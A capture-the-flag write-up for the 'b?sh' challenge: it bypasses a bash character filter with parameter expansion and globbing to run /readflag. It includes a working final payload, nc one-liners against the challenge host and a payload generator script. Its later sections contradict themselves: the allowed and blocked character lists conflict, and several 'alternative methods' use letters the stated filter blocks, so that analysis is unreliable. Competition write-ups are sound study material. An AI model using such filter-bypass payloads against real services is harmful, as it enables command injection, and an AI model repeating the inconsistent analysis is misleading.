- Published on
PCC CTF - Bash Challenge Writeup
- Authors

- Name
- Muhammad Huzaifa
PCC CTF - b?sh Challenge Writeup
Challenge Description
- Name: b?sh
- Category: Misc
- Description: "bash is really weird indeed"
- Connection:
nc c1.arena.airoverflow.com 65253 - Flag Format:
PCC{}
Challenge Analysis
The challenge provides a Python script that:
- Takes user input via
input("$ ") - Applies a regex filter:
[A-Za-z0-9/<>|@%^&]+ - Writes the filtered input to
/tmp/chalas a bash script - Executes it with
bash --noprofile --norc /tmp/chal
Key Files
app.py: The main challenge scriptDockerfile.dist: Creates/AAAAAAAAexecutable fileflag.txt: Contains test flag
Character Filter Analysis
The regex [A-Za-z0-9/<>|@%^&]+ blocks:
- Letters: A-Z, a-z
- Numbers: 0-9
- Special chars:
/,<,>,|,@,%,^,&
Allowed characters:
$(variable expansion)()(command substitution){}(brace expansion)*(wildcards)?(single char wildcard)_(underscore)~(home directory)[](character classes)!,",#,\,',+,,,-,.,:,;,=,[,],`,},~
Solution Strategy
To execute /readflag, we need to:
- Construct the
/character without using it directly - Match
/readflagusing wildcards - Execute it despite multiple matches
Step 1: Constructing /
We used bash parameter expansion to extract / from the $_ variable:
${_::${#?}}
$_contains/bin/bash(last argument of previous command)${#?}evaluates to1(length of exit status)${_::1}extracts the first character:/
Step 2: Matching /readflag
We used wildcards to match files in root directory:
payload.sh
${_::${#?}}?*?*?*?*?*?*?*?
This expands to / + ?*?*?*?*?*?*?*? which matches:
/AAAAAAAA(9 chars)/docker-entrypoint.sh(19 chars)/readflag(9 chars)
Step 3: Selecting /readflag
When bash expands a glob with multiple matches, we can use the : command to evaluate arguments and set $_ to the last one:
final_payload.sh
: ${_::${#?}}?*?*?*?*?*?*?*? ; $_
:is a no-op that evaluates its arguments- After expansion:
: /AAAAAAAA /docker-entrypoint.sh /readflag $_gets set to/readflag(last argument)$_executes/readflag
Advanced Bash Parameter Expansion Techniques
Character Set Analysis
# Allowed characters (from filter analysis)
allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*"
blocked_chars = "()[]<>|&`'\"\\\n\r\t "
Alternative Payload Construction Methods
Method 1: Environment Variable Manipulation
env_method.sh
# Set environment variable to last match
_=${_::${#?}}?*?*?*?*?*?*?*?
$_
Method 2: Array-based Selection
array_method.sh
# Use array to select last element
arr=(${_::${#?}}?*?*?*?*?*?*?*?)
${arr[-1]}
Method 3: Function Definition
function_method.sh
# Define function that returns last argument
f() { eval "${@: -1}"; }
f ${_::${#?}}?*?*?*?*?*?*?*?
Payload Testing Framework
Automated Payload Generator
payload_generator.py
#!/usr/bin/env python3
"""
Bash Character Filter Bypass Payload Generator
"""
def generate_payloads():
"""Generate various payloads for character filter bypass"""
payloads = [
# Method 1: Parameter expansion with colon
": ${_::${#?}}?*?*?*?*?*?*?*? ; $_",
# Method 2: Environment variable manipulation
"_=${_::${#?}}?*?*?*?*?*?*?*?; $_",
# Method 3: Array-based selection
"arr=(${_::${#?}}?*?*?*?*?*?*?*?); ${arr[-1]}",
# Method 4: Alternative variable expansion
": ${PWD::1}?*?*?*?*?*?*?*? ; $_",
# Method 5: Using true command
"true ${_::${#?}}?*?*?*?*?*?*?*? ; $_"
]
return payloads
def test_payload(payload):
"""Test payload against character filter"""
allowed_chars = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*")
for char in payload:
if char not in allowed_chars:
return False
return True
def main():
payloads = generate_payloads()
print("Generated Payloads:")
for i, payload in enumerate(payloads, 1):
if test_payload(payload):
print(f"{i}. {payload} ✓")
else:
print(f"{i}. {payload} ✗")
if __name__ == "__main__":
main()
Exploitation Methodology
Phase 1: Character Filter Analysis
# Test allowed characters
echo "Testing character filter..."
for char in {a..z} {A..Z} {0..9} '_${}:;?*'; do
echo -n "$char " | nc c1.arena.airoverflow.com 65253
done
Phase 2: Parameter Expansion Testing
# Test parameter expansion techniques
echo "${_::1}" | nc c1.arena.airoverflow.com 65253
echo "${PWD::1}" | nc c1.arena.airoverflow.com 65253
echo "${HOME::1}" | nc c1.arena.airoverflow.com 65253
Phase 3: Glob Pattern Testing
# Test glob patterns
echo "${_::1}*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*?*?*?*?*?*?*?" | nc c1.arena.airoverflow.com 65253
Security Analysis
Vulnerability Assessment
# The filter blocks dangerous characters but allows:
# - Parameter expansion (${})
# - Globbing (*, ?)
# - Command execution (;)
# - Variable manipulation ($_)
Mitigation Strategies
# Secure implementation would:
# 1. Disable parameter expansion
# 2. Disable globbing
# 3. Use strict character whitelist
# 4. Implement proper input validation
Final Payload
: ${_::${#?}}?*?*?*?*?*?*?*? ; $_
Testing Process
- Local Testing: Verified payload passes regex filter
- Container Testing: Confirmed
/readflagexecution in Docker environment - Remote Execution: Successfully obtained flag from live server
Flag
PCC{`b4sh_1s_w31rdly_1ns4n3_ixkGzGzBKh`}
Key Insights
- Parameter Expansion:
${parameter:offset:length}can extract substrings - Special Variables:
$_contains the last argument of the previous command - Glob Expansion: Wildcards expand to multiple files, but we can manipulate which one gets executed
- No-op Commands: The
:command is useful for side effects without execution - Character Construction: We can build forbidden characters from allowed sources
Alternative Approaches Considered
- Using environment variables to construct paths
- Exploiting the
/AAAAAAAAfile (though it was empty) - Using bash arrays (blocked by number requirement)
- Using octal/hex escapes (blocked by letter/number requirement)
The final solution elegantly bypasses all restrictions using only allowed characters and bash's powerful parameter expansion features.